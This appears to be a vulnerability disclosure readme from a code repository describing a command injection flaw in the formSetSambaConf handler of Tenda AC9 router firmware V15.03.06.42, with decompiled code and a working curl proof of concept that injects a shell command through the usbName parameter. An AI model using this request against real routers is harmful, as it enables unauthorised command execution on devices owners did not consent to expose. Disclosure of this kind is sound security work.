n0wstr submit 9b362c0 · 3 weeks ago

Name	Name	Last commit da...
..		
img	submit	3 weeks ago
readme.md	submit	3 weeks ago

readme.md

Tenda AC9 command injection

Overview

- Vendor: Tenda
- Product: Tenda AC9
- Version: V15.03.06.42_multi
- Manufacturer's address：https://www.tendacn.com/
- Firmware download address ：https://static.tenda.com.cn/tdcweb/download/uploadfile/AC9/US_AC9V3.0RTL_V15.03.06.42_multi_TD01.zip

Vulnerability details

Tenda AC9 V15.03.06.42_multi was found to contain a command injection vulnerability in the `formSetSambaConf` function via the `usbname` parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.

```
153  websFormDefine("SetPrinterCfg", (void (*)(webs_t, char_t *, char_t *))formSetUsbPrint);
154  websFormDefine("GetPrinterCfg", (void (*)(webs_t, char_t *, char_t *))formGetUsbPrint);
155  websFormDefine("SetSambaCfg", (void (*)(webs_t, char_t *, char_t *))formSetSambaConf);
156  websFormDefine("GetSambaCfg", (void (*)(webs_t, char_t *, char_t *))formGetSambaConf);
157  websFormDefine("setUsbUnload", (void (*)(webs_t, char_t *, char_t *))formsetUsbUnload);
```

```
1  void __cdecl formSetSambaConf(webs_t wp, char_t *path, char_t *query)
2  {
3    const char *usbname; // [sp+18h] [+18h]
4    const char *action; // [sp+1Ch] [+1Ch]
5    char_t *remote_acess_port; // [sp+20h] [+20h]
6    char_t *remote_acess; // [sp+24h] [+24h]
7    char_t *guest_name; // [sp+28h] [+28h]
8    char_t *ftp_charset; // [sp+2Ch] [+2Ch]
9    char_t *guest_acess; // [sp+30h] [+30h]
10   char_t *guest_passwd; // [sp+34h] [+34h]
11   char_t *passwd; // [sp+38h] [+38h]
12   char mib_value[68]; // [sp+3Ch] [+3Ch] BYREF
13
14   memset(mib_value, 0, 0x40u);
15   passwd = websGetVar(wp, "password", "admin");
16   remote_acess = websGetVar(wp, "premitEn", "0");
17   remote_acess_port = websGetVar(wp, "internetPort", "21");
18   action = websGetVar(wp, "action", byte_520318);
19   usbname = websGetVar(wp, "usbName", byte_520318);
20   guest_passwd = websGetVar(wp, "guestpwd", byte_520318);
21   guest_name = websGetVar(wp, "guestuser", byte_520318);
22   guest_acess = websGetVar(wp, "guestaccess", byte_520318);
23   ftp_charset = websGetVar(wp, "fileCode", byte_520318);
24   if ( !strcmp(action, "del") )
25   {
26     doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, usbname);
27     websWrite(wp, "HTTP/1.0 200 OK\r\n\r\n");
```

PoC

```
curl http://192.168.0.1/goform/SetSambaCfg?
action=del&usbName=`touch%20/tmp/2.txt`
```